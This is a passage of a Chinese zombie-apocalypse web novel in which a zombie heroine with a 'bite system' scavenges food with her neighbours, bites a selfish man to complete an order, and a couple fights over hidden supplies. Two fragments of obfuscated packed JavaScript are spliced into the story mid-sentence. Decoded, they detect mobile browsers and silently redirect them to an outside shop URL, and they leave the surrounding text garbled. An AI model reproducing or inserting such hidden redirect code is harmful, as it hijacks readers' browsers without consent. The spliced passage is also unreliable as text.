牧遥心思一动，看来异能是存在的。 【遥：不行的。】 【遥：被丧尸咬了就是真的死亡。】 何子来的眼睛暗淡下去，但很快就想明白了，又打起精神。 见众人说不出来，十五也仔细观察了手中的红色晶体。 捏在手中会有一点热度，不是完全冰凉的触感。 刚刚也是手在脑子里感觉到有一股热源才靠近的。 她想了想，把晶体递给了牧遥：“姐妹，你杀的你收着吧。” 牧遥没有推脱，伸手接过随手揣进兜里，实际上收进了空间。 “谢谢啦~” 其他人也没有什么意见，或者说不敢有意见。毕竟大家全力都无法伤害的丧尸在牧遥手中如同纸糊一般。 这也可以证明牧遥惊人的战斗力。 十五也不伤心失去晶核，她扭头抱着七七在哭诉。 “呜呜呜我平时都掏泥，没想到有一天我在掏人脑子！” 七七一边掏湿纸巾给她擦手，一边哭笑不得地说她：“这时候怎么胆子这么大了？” 十五嗷嗷：“我好奇嘛！” 牧遥：“……” 好奇心强在末世并不大好。 方姨没有出声，一直等牧遥收好了晶核后才开口：“那目前游荡的丧尸都清理干净了吧？我们可以进去了。” 一共九头丧尸，现在已经全部死亡。 “进去前我再强调一下。”方姨严肃地说，“再深处超市或许还藏有丧尸，我们今天应该是走不到超市了，所以目标就是最靠近门的两家店。” “刚刚的动静或许会吸引来一些深处的丧尸，一定要小心。” “找完物资，不管多少，今天都要回去了，大家都可以吗？” 她们几个人的力气已经所剩无几，本来就是在物资匮乏的情况下出来的，身体情况不是最好。 再加上挥砍丧尸都需要大力气，现在都有点脱力。 今日拿到物资后回去养养身体，下一次的行动也会更有经验。 大家都点头，表示没有问题。 “进去之后，不要分散开来，如果有发现丧尸，不要大声尖叫，快速往身边人移动，知道吗？” “知道了知道了。”杜彬嘟囔着。 “你最好是知道了。”十五轻嗤一声。 再三确定后，方姨看向锅盖，锅盖又一次推开了门。 这一次，门被完全打开，不再是放丧尸出来，而是人进去。 “居然真的有晶核这种东西。” 十五和七七一边走一边小声嘀咕：“那我们会有异能吗？” 其他人听到了也不免在心里畅想。 在以往平静如同死水的重复生活里，很多人都希望有一天自己能够觉醒超能力。 「很遗憾，不是那么容易的事情。」 丧丧在牧遥的脑海里叹息：「在这个末日，明显被偏爱的是丧尸，人类只能依靠自身的力量。」 牧遥正准备跟上方姨，闻言动作微微一滞。 “你说得好像自己看得到这个末日的未来一样。” 「……」 沉默很短暂，似乎没有那瞬间的停顿，丧丧继续呱呱起来：「怎么可能啦，咱们丧丧咬人系统见过那么多的丧尸末日，有异能的不足百分之一。」 「人类是脆弱的，随时都会死的。」 丧丧这么说着。 “是啊。” 牧遥跟在人群的最后，抬腿迈上台阶。 人类是很脆弱，轻轻一碰就死了。 19. 收工 丧丧没有再说话。 它的言论有时候会自相矛盾。 例如何子来问到异能，它说的是「没那么简单」。 这不是完全否认的态度。 牧遥只把这一点记在心里，因为丧丧能察觉到她的想法，她尽量控制自己不去多想这个事情。 看来回去要去商城找找有没有可以屏蔽系统检测思想的东西。 丧丧大哭：「宿主！您不相信我！！啊啊啊啊——」 牧遥：“……” 看来还需要一个屏蔽丧丧声音的东西。 丧丧瞬间闭嘴。 其他人也都没有说话，氛围沉重地进入商场，众人都放轻了自己的动作，生怕吸引到在商场深处的丧尸。 牧遥依旧走在最后，方便她观察所有人的行为，何子来跟在身边。 她似乎没觉得走在最后很危险，只是想跟着牧遥。 小秦和小林十指紧扣，本来走在她的前面，不知为何突然后撤一步，示意牧遥先走。 小林也是一脸疑惑，小秦却松开了她的手悄声说：“我有东西忘了，等下就来，你们先走。” 说罢便往后退去。 牧遥回头看了他一眼，若有所思。但也没拒绝，何子来拉上小林，三个人跟在了杜彬后面。 一进商场里的左手边，是一家服装店，还有一家比较大型的美妆集合店在稍远一点的距离，右手边则是一家米线店和一家奶茶店。 众人按照计划先去米线店。 干的米线可以存放很长时间。 在现在水电还在的情况下，如果把米线煮熟也能吃很久。方姨提到可以趁着还有煤气的时候把米线都炒熟成粉末，这样要吃的时候用开水浸泡就可以当糊糊吃了。 当然，大家都不希望到这一步…… 刚踏入店面，就是一股恶臭。 桌上有着吃剩一半的米线，早就长出霉斑，无数的飞虫穿梭。 没戴口罩的几人都捂住了口鼻，心中一万个后悔。 不过经历了刚刚那么多的恶臭洗刷，众人的承受力都有所加强。 而且大家的心里或多或少都意识到。 ——以后这种臭味会是生活的一部分。 方姨面色不改，她绕过地上散落地米线，哪怕已经很小心，还是因为黏腻的液体，发出了“吧唧”、“啪叽”的诡异声响。 这时小秦也跑了回来，其余人的视线在他身上转悠了一圈，也没多说什么。 牧遥耳朵动了动，看着小秦走到小林身边，又牵起了她的手。 众人避开这些“障碍”进入后厨。 得亏现在流行明档厨房，站在店里就能看到后厨的景象，里面没有丧尸。 摆在台面上的肉类和蔬菜彻底腐烂，扑面而来的腐臭味掩盖掉了身后丧尸尸体堆叠的血腥味。 后厨并不大，九个人一进去就占了个满满当当。 方姨走到冰箱前，一把拉开，看清里面的东西后，一直紧绷的脸色才好了许多。 “有很多冷冻牛肉。”她伸手拿出一包掂量了一下，快速的数了数，“一包大约一公斤，这里有十包，够我们分了。” “还有一些牛肉丸、肥牛卷和虾滑。” 她拉开旁边的柜子，叹气道：“蔬菜全部都坏了，有点可惜。” 都吃肉类的话维生素不够，短时间还好，时间一长身体会出问题的。 看来还是要去一趟超市，里面有卖各种补剂，方便携带且保质期长。 方姨根据现在情况迅速规划着。 “这里有很多干米线。”十五和七七打开柜子，里面塞满了成捆的干米线。 几人都松了口气，脸上露出欣喜的表情，这趟冒着生命危险的物资寻找行动没有白出来。 哪怕是普通的米线煮熟了啃啃也比啥都没得吃来得好。 饥饿的滋味太难受了。 何子来也露出笑容。 小秦和小林也在翻箱倒柜寻找物资，发现了一些木耳和香菇的干货。 小林开心地说：“木耳和香菇也有营养的！” 她站了起来，把翻到的几包木耳和香菇都放在桌面上。小秦还蹲着，伸手往深处又掏了掏，他比小林起身的速度慢了一些，同样抱着好几包的干货堆在桌面上。 如果末世一直持续下去，新鲜的蔬菜会变得越来越稀少，这时候木耳和香菇也是可行的微生物与微量元素补充来源。 何子来被满满的香菇图案糊了一脸，她呼吸一窒，弱弱举手：“我可以不要香菇，换点别的吗？” 方姨摇头：“都什么时候了，小姑娘还挑食呢。” 何子来都快哭了：“我也不想，但是我吃进去嗓子会给我退货的……” 其他人：“……” 小秦温和笑笑：“没问题，我正好想问，我女朋友喜欢香菇，我们可以少拿点木耳跟你换香菇。” 何子来闻言连连点头。 “我们先清点一下，然后再分吧。”方姨把冰箱里的物资都拿了出来，一起摊到了操作台上。 既然出来一起寻找物资，最容易出矛盾的就是分物资的时候，方姨想尽可能避免这一点。 所有人把找到的其他物资例如调料、厨房用具等都拿了出来，有几人的目光明显落在了两把长柄切肉刀上。 这个武器很适合杀丧尸。 但是只有两把，不够分。 “我想要一把，可以少拿一些物资。”锅盖先一步开口了，他扫过桌面上现有的东西，心中有了底，“调料我不大需要，肉也可以少拿一点。” “一点调料和肉就想换一把刀？”杜彬小声地嘟囔一下，他也想要好用的武器。 “总比有些人拿了也不敢上来得好吧。” 十五呛了一声，说得杜彬的脸色更加难看了，他低下头不再说话。 “我们也想要这把刀。”小秦也说话了，他侧头看着小林，表情担忧又温柔，“我没有趁手的武器，有了我能更好地保护她。” 十五露出一脸磕到了的表情，反倒是七七撇了撇嘴。 “还有其他人想要的吗？”方姨看向其他人，“我不需要。” “我也不需要呀~” 牧遥照例放弃，如果都不拿有点奇怪。为了避免被怀疑，她加了一句：“我想要米线多一点呢~” 众人协调了一下，由小秦和锅盖分了那两把刀，杜彬的表情更差了。 “反正他也不冲上前战斗，不需要。”十五是这么说的。 这个团队是否会变成一个长期团队，大家都不知道，但目前众人都有一个共识，就是不需要杜彬这样的人。 俗话说得好，不怕神一般的对手，就怕猪一般的队友。 杜彬已经被所有人排在了最后。 搜刮完米线店，众人打算今日收工。 第一次出来能够找到这样的物资，还没有人员伤亡已经是很难以想象的事情了，方姨几人都觉得应该见好就收。 知足是美德。 “那超市不去了吗？”杜彬仍不死心，面色不大好，咬牙开口。 他分到的物资实在算不上多，只能再撑个十天，那意味着很快他又要冒着生命危险出门。 而且他对自己的所作所为也有点自知之明，下次出去会不会再带他都是一个未知数。 “不去了，太远了，那么多物资我们也拿不动。”方姨果断道。 贪多嚼不烂。 出来的人都是背着容量最大的双肩包，此刻里面塞满了拿到的物资，等下回去还要拎着便利店的东西，实在是拿不动了。 而超市多是货架，众人很容易被分散，又有视线的阻挡，很容易被丧尸袭击。 一旦有丧尸袭击，人很容易发出尖叫，或者呼喊救命，这样恶性循环会吸引来更多的丧尸。 其他人都觉得合理，只有杜彬还想努力一下。 “那下次出来什么时候？” 他要明确自己不会被丢下。 “下次再说。”方姨有点含糊地道。 杜彬嘴唇颤抖，他哪里听不出来这是在敷衍他。 说不定回去几个人拉个小群，悄悄出门不带他。 空气中的氛围僵硬起来，小秦略一犹豫，出来打圆场：“兄弟，这次先回去，有了吃的把身体养好一点，下次出来更有经验。” 杜彬执拗，声音都大了一点：“我要一个准确的时间点。” 烦人。 十五已经翻起了白眼，和七七小声嘀咕着。 牧遥也嫌他烦，想要把他咬掉，但订单又禁止她暴露身份，让她很难受。 小秦揽着杜彬的肩膀，两人走远了一点。 远远看过去，小秦在说些什么，而杜彬点起了一根烟，烟雾缭绕间看不清楚表情。 牧遥的耳朵动了动，突然看向商场深处，眼睛微眯。 脚步声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699587|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很多的脚步声。 看来她们在这里待着的时间有点太久了。 牧遥的目光飘向右上角，那是一个时间弹窗。 「13：52」 「21：07：33」 一行是现在的时间，另一行是任务倒计时。 她是中午11点接到的订单，之后群里开始商议出行的计划，细节讨论，12点半出的门。 搜寻便利店物资，回合制击杀丧尸，搜刮米线店物资，到现在时间才过去一个多小时。 但毕竟人数多，哪怕再怎么减轻动作，还是产生了动静，吸引了深处的丧尸。 牧遥点点手机：“我们该走了哟~我好像听到了一些丧尸的动静~” “我也听到了！”何子来不管有没有听到，立刻附和。 她不知道牧遥是因为听觉好才发现的，还以为是丧尸之间有什么同类雷达感应。 反正附和就是，没有必要在外面浪费时间。 “那我们赶快回去。”方姨立刻招呼大家快走，她转向小林，“把小秦和杜彬喊回来，先走比较好。” 小林一脸紧张的点头，小跑到两人身边，拉扯小秦的手。 本以为杜彬会抵抗一会儿，结果一听丧尸来了，他手里的烟都吓掉了，二话不说就小跑了回来。 众人立即往地铁赶去。 刚开始还想缓步前进，没走出几步，队伍最后的人都听到了繁杂无序的脚步声。 似乎还有着隐隐约约的喘息声…… 这种非人的声音让所有人瞬间汗毛耸立，立刻管不了那么多，急急忙忙小跑着往玻璃门冲。 方姨率先拉开门，她守着门，让身后的人快速通过。 十五和七七牵着手先跑进了地铁站，她们一个转身就往便利店跑。 之前便利店的物资都用塑料袋分门别类放好了，她们快人一步先拿起来，这样就不耽搁时间。 锅盖紧随其后，小秦拉着小林跟在后面，看到她们往便利店跑，脸色一变，加紧了脚步。 所有人都通过了玻璃门，方姨拉回大门，趴在玻璃门侧往内瞧去。 晃晃荡荡的人影在接近。 方姨没有细看，接过十五递来的属于她的物资，便往小区走去。 有了一层玻璃门的间隔，众人安心不少，不再快跑，放慢脚步减轻声音，顺利回到了小区内。 站在大堂里，恶臭依旧延绵不绝，鞋底都是黑红的痕迹，初时觉得害怕的场景，此刻却无比让人安心。 方姨目光扫过众人，确定手里都有着便利店的袋子，没有因为物资产生矛盾，这才彻底松了口气。 个别人内心有不满，她是管不了了。 但是这次全员安全回来，对于之后的行动都会有很大的帮助。 或许有更多的人能够参与进来，编成不同的队伍，定期出去寻找物资。 这样可以坚持的再久一些。 宣布队伍解散后，大家散开从不同的楼梯回家。 牧遥、何子来和杜彬在一个方向，先到达何子来的家门口。 牧遥把手里的物资也递给了何子来，让她收下。 “谢谢姐姐！”何子来甜甜一笑，牧遥已经跟她说过，容易坏的可以先放她那里，她有保存的手段，需要的时候牧遥再给她送就好。 何子来决定如果牧遥需要帮助，不管何时何地，她都会去帮助牧遥。 虽然她现在力量很小，但是她会努力让自己强大起来，去帮助更多的人。 何子来进了家门，只剩下牧遥和杜彬往楼上走。 也是，她们是邻居。 杜彬照旧走在牧遥的身后，一脸警惕，目光时不时飘向牧遥身后的双肩包。 这个女的这么大方……难道她有很多物资？ 基本上获得的物资都给了那小姑娘…… 杜彬的眼珠转了转，反正就在隔壁，之后要是他的物资不够，或许可以敲门让她给一点。 都有过一起行动的交情了，应该会帮助他吧。 杜彬在脑中盘算着，到了家门口，发现牧遥也停下脚步，他愣了愣。 牧遥站在他身侧，一副等他开门的样子。 这是什么意思？ 她要跟我回家？ 杜彬的表情几番变化，精彩的不得了。发散的思绪转来转去，最后得出了一个他觉得最有可能的原因。 难道……牧遥喜欢他？ 20. 咬一个啦 杜彬有着美好畅想。 牧遥身手了得，虽然戴着口罩和墨镜看不清长相，但是从整个人的气质看过去，一定不丑。 她或许喜欢自己，要跟他回家。 有了她，之后收集物资也很轻松。那群人看不上他，不可能看不上牧遥吧？ 这样他就不会被排在外面了。 这样的认知让杜彬有点飘飘然，他小心翼翼地开口：“你……你要跟我进屋吗？” 牧遥先是微微歪头，似乎在思考，然后缓缓点了点头。 在屋内咬也比较好，不然她们大包小包回来，一定有人在密切关注，等下在走廊咬要是被看到了，麻烦事少不了。 杜彬看到牧遥点头，喜悦都要冲昏他的头脑，他连忙输入密码。 “欢迎回家！” 门锁的识别声响起，杜彬打开门，做出邀请的手势。 牧遥微微点头，越过他走进了房间，微微打量四周。 房间构造和她的几乎一致，只是在屋内的家具摆放上有点区别。杜彬的房间内东西也很少，几乎一览无余。 除了基本的生活家具外，就摆着一张办公桌，上面有一台台式电脑和一个电竞椅。 她们小区的设计既有单身公寓的小户型，也有大平层和跃层，分布在不同的楼层，一般知道在几楼就差不多知道是什么户型。 根据牧遥的印象，一栋楼大约15楼，只有4、7、12楼是她们这样不超过50平方的单身公寓，3、6、11楼是跃层，和单身公寓的楼层里的一些房间形成了双钥匙的跃层格局。 剩下的全部都是平层。 牧遥打量完，转身看向刚关好门的杜彬。 杜彬低着头，有点紧张。 从小到大没有谈过恋爱，每次和女性说话他都会发抖，此刻也是。 他双手的手心都渗出汗液。 要说什么呢？ 先请她坐下，然后问问她为什么要进来。 杜彬能感觉到牧遥站得离他很近，超过社交距离的程度。 似乎有一股淡淡的味道，闻起来和外面的尸臭有点像，估计是在外面行动时蹭的吧。 杜彬没有放在心上。 他悄悄把手心的汗液蹭在裤子上，脸上挤出一个笑，抬头看向牧遥。 下一瞬，他的笑容凝固在脸上，浑身剧烈颤抖起来。 他一直以为她只是个安静的女人。 说话慢，动作轻，不争不抢。 ——直到这一刻。 眼前的牧遥摘掉了口罩，冲他张开了嘴。 没有被绷带包裹的嘴透露着不自然的乌青，裂开的嘴角里露出尖锐的獠牙。 她……她…… 恐惧让他张开嘴试图放声尖叫，但还没来得及出声，嘴被一把捂住。 巨大的力道让他撞击在门上，发出“咚”的一声巨响。 好大的力气，好冰冷的手！ 这双手如同钢铁般坚硬。 杜彬眼中闪过深深的恐惧，他的手抓着牧遥的胳膊，奋力挣扎着。 他的动作如同蚂蚁试图撼动大象。 全身的力气使出都无法推动牧遥，杜彬最终发出“呜呜”的声音，身躯扭动着像超市门口的充气小人。 牧遥被自己的联想弄得有点无语。 她打算速战速决。 空出来的左手抓住杜彬挣扎的右腕，扯到嘴边。 黑胖的手，粗短的手指上面能看到汗毛，估计十分坚硬。 一看就不好吃。 牧遥眼一闭心一横，在杜彬汗水和泪水一同狂飙的惊恐中，狠狠咬上了手掌。 她原来想咬手臂，瞟了一眼也都是汗毛。 算了，不为难自己。 一股腥臭的味道如同在空中具象化成一个巨大的手掌，螺旋朝着牧遥的脸狠狠扇了三个巴掌。 起码十几年没哭过的牧遥现在感觉自己有点想哭。 像是下水道里被腌制了百年的肥鱼啪嗒着尾巴从下水道里螺旋升天，用粗壮的尾巴对准牧遥的脸灵巧地扇动几个巴掌后，再一个转身把鱼头塞进了她的嘴里。 牧遥没有吃过仰望星空派。 她现在觉得自己就是仰望星空派。 呼啦啦的水声响起。 杜彬在死亡前吓失禁了。 「叭叭啦叭叭~」 「检测到丧尸主已感染一个人为丧尸，现在为您结算……」 「……结算完毕」 「恶臭评级：D级（贪生怕死）」 「丧币奖励：150SB」 丧丧开心地哼着主题曲，没管一边干呕一边怀疑人生的牧遥，自顾自地说道：「宿主干得真棒，这个无语的人终于被咬啦。」 「这人要是在和平年代也就是个自私鬼，但是一旦到末世就很可怕了，会干出什么事情那是正常人无法想象的捏。」 「宿主加把劲！赶快把订单完成呀~~~」 “……啥？” 牧遥缓过劲后就听到这一句。 她脑子嗡嗡响，终于看到面板上面的文字。 「您的咬了么订单尚未完成。」 「请在规定时效内及时完成哟~」 只咬一个杜彬还不够？ 牧遥顺手把杜彬关进【牢笼】，正打算回到自己的安全屋，面前弹出了新的提示。 看清内容后，牧遥微微愣住。 「检测到该屋屋主已死亡，租住者【杜彬】已被宿主关入【牢笼】，现该屋已无从属关系，符合收容条件。」 「检测到该屋与宿主安全屋紧靠，现可以并入宿主的安全屋领地，是否并入？」 「是|否」 还能并入？ 牧遥终于感觉嘴里的味道消失得差不多了，她没有多少犹豫点击「是」。 熟悉的白光从和她紧挨的那道墙传来，一阵风突如其来，带着轻微的声响，似乎正在对屋内进行改造。 牧遥的眼前空了一瞬，再睁眼的时候，改造完毕。 和她安全屋紧挨的墙壁上出现了一扇房门。 凭空造物？ 牧遥有点讶异，靠近房门就见上面显示着： 【只有丧尸才能看到的门（可升级）：哼哼，这个门人类是看不到哒~既然看不到那也不能使用哟。】 牧遥：“……” 那不就她能使用了？还挺好的。 这扇门甚至都不需要拉开再关门，牧遥径直穿过，就顺利回到了自己家。 这时她的安全屋信息也发生了变化，面积从49㎡变成了98㎡。 看来安全屋的升级不仅仅依靠她咬人的数量来提升。根据刚刚的提示内容，再加上和丧丧确认过，牧遥很快便得出安全屋面积提升的条件。 分为三种情况。 一种是屋主本人被牧遥啃咬，转换成丧尸后收容至【牢笼】中，且房屋与牧遥安全屋紧挨，便可以扩张。 第二种情况则是屋主本人死亡，租住者被牧遥转换后关入【牢笼】，且房屋与牧遥安全屋紧挨，便可以扩张。 第三种情况是屋主本人死亡，且房屋与牧遥安全屋紧挨，便可以扩张。 杜彬的例子就属于第二种情况。 至于“屋主死亡”这个，即是物理意义上的死亡，也可以是已转化为丧尸，至于在不在屋内并不重要。 明确这一点，牧遥也发现了很好打发时间的事情。 ——她可以去扫楼了。 就像是游戏里一格又一格扩充领地一样，拓宽自己的安全屋。 但在这个事情之前，现在更重要的是手头的订单。 “任务有几个目标？”牧遥和丧丧确认着。 「不能透露捏~」 牧遥有点精神上的头疼。 她真的不大喜欢咬人。 “这个订单可以不做吗？” 牧遥不死心。 「不行哦。」 丧丧的语气依旧轻松。 “不做会怎么样？” 「会有惩罚。」 “什么样的惩罚？” 回应是一片寂静。 不管牧遥怎么询问，丧丧对于惩罚这一个事情始终闭口不谈。 牧遥叹口气，只能在心里回想了一下所有人的表现。 众人说的每一句话，包括小声的自言自语，都逃不开她的耳朵。而她的记性又好，此刻记得清清楚楚。 她又刻意站在最后面，方便审视左右人的动作。 何子来、方姨、十五、七七、小林、锅盖……每一个的所作所为闪现在她的脑子里。 牧遥的手指轻轻敲击着头。 这是她思考时候的习惯动作。 很快，她站起身重新出门。 她知道要咬谁了。 · · 小林和小秦顺利回到了位于6楼的跃层家中。 这个房子是小林定下的，她需要有一个安静的工作空间，所以这个小区里楼上楼下工作和生活分离的户型让她很满意。 小林全名林玲，今年23岁，线上远程工作。平时很少出门，所以习惯会囤积一些食物在家中。 本来如果只有她一个人，那些食物够她撑过一个月。 省着点说不定能吃到一个半月。 可惜，她有个男朋友。 她男朋友还特别能吃。 小秦全名秦擎，长得显小，平时看不大出来，但实际上已经34岁。 秦擎平时生活上照顾她十分妥帖，情绪价值也给到位，虽然住的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699588|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她买的房子，没有出水电费，但是因为没有什么大问题，林玲也没有去在意这些。 最近恰好是经济形势不好，他刚被公司开除，没有找到下一份工作，退掉了自己租的房子住在她家，说是可以更好的照顾她。 这又遇上了丧尸爆发，两人就被困在这里。 林玲担心位于市中心的家人，幸好网络还在，联系上了母父，两人都没事情，她这才安心待在自己的房子里。 林玲性格安静，圈子简单，也不怎么运动。有段时间倒是对拳击这类运动有点兴趣，却被秦擎劝退了。 给出的理由是：“我会照顾你的，我会保护你的，你不需要做这些。” 一直到丧尸爆发，林玲觉得她对秦擎是有怨气的。 她本来都报名了，却被他擅自退掉了课程。 如果不是他的阻拦，或许她就不会如此被动。 群里发起物资收集的时候，她没多想就报名了。 实际上家里的物资还够撑个三五天，没有到山穷水尽的地步。但是林玲觉得她应该走出去看看。 和秦擎谈恋爱的三年，让她越来越缩在家里，和之前的朋友都断了联系。 似乎她的世界只剩下了秦擎一个人。 秦擎知道林玲报了物资的活动后，果不其然开始阻止她，后来拧不住她这次下定了决心，才咬着牙跟着她一起去。 结果这一趟又不让她杀丧尸，还用她的名义换来了一把好武器。 一进门，秦擎就把切肉刀藏进了房间里，然后跟没事人一样笑着出来开始收纳这次的物资。 他围着围裙，手上的菜刀清洗干净后握在手中，对林玲笑得温和：“晚上吃米线？” 久违的牛肉让他很馋这一口。 虽然是冷冻的，但也总比没有好。 林玲看着刀，有点反胃。 她克制着自己的反应，只是眉头一皱，摇头：“先吃保质期短的，米线能长期储存，我们最好后面再吃。” 秦擎的笑容僵硬一瞬，然后依旧说道：“可是宝宝，我想吃。” 林玲伸手揉了揉自己的眉心。 在外面她会给他面子，让他在前面表现，回到家里是她的地盘，她有点忍不了了。 “我们来聊一聊。”林玲声音发冷，语气僵硬，“你在米线店里偷藏了什么？” 秦擎手上的动作停下，笑容消失。 他似乎一下子无法控制自己的表情，看过去整个人怪异极了。 林玲双手环抱，再次问道：“你偷藏了，我看到你的动作了。” “还有进商场的时候，你跑哪里去了？又拿了些什么？” 一时间屋内沉默。 “哈哈。” 笑声打破了僵硬的氛围。 秦擎笑着道：“就是一点火锅底料和高汤块而已，宝宝你怎么这么在意这个？” “我都是为了我们好，为了我们生活得更好，这样做不好吗？” 林玲听不下去了。 “大家都是平分的！我们两个人都拿到了对应的那份物资，你为什么要这样做。” “咚。” 菜刀剁下一片牛肉。 “宝宝，你太大惊小怪了。”秦擎手下动作不停，语气不以为意，“其他人就没有偷藏吗？不见得吧，人人都该为自己打算。” 林玲的表情阴晴不定。 其他人有没有拿她不知道，但是秦擎这样的行为很不地道。 现在物资还没有那么匮乏，都还好说。 如果这个末世持续三年、五年……甚至是不会结束呢？ 能吃的东西越来越少，到时候一粒米，一块糖，都有可能成为杀人的理由。 现在的秦擎能够藏物资，以后的团队行动里也还会这么做，要是被发现了，谁会信任他？ 不……是她们，她被他绑在一起。 林玲气得嘴唇都在颤抖，她把自己的想法都说了出来，试图和秦擎继续沟通。 家人朋友都说秦擎脾气好，会照顾人，正适合脾气不好，生活能力不大强的林玲。 但林玲也知道秦擎最大的问题。 这人是回避型人格。 说实话生活里睁一只眼闭一只眼没什么问题，但如今末日来了，她没办法去赌人性。 但三年的感情基础在，她依旧尝试沟通。 “你不能这样，把藏起来的物资还回去，这样下次搜寻物资她们才能继续带着我们！” “要长远一点来看！” “哐当。” 菜刀被重重甩在了案板上。 刺耳的金属声打破了林玲的话语。 秦擎的脸拉了下来，面无表情地看着她。 似乎出门这一趟，杀了丧尸后，有什么不一样了。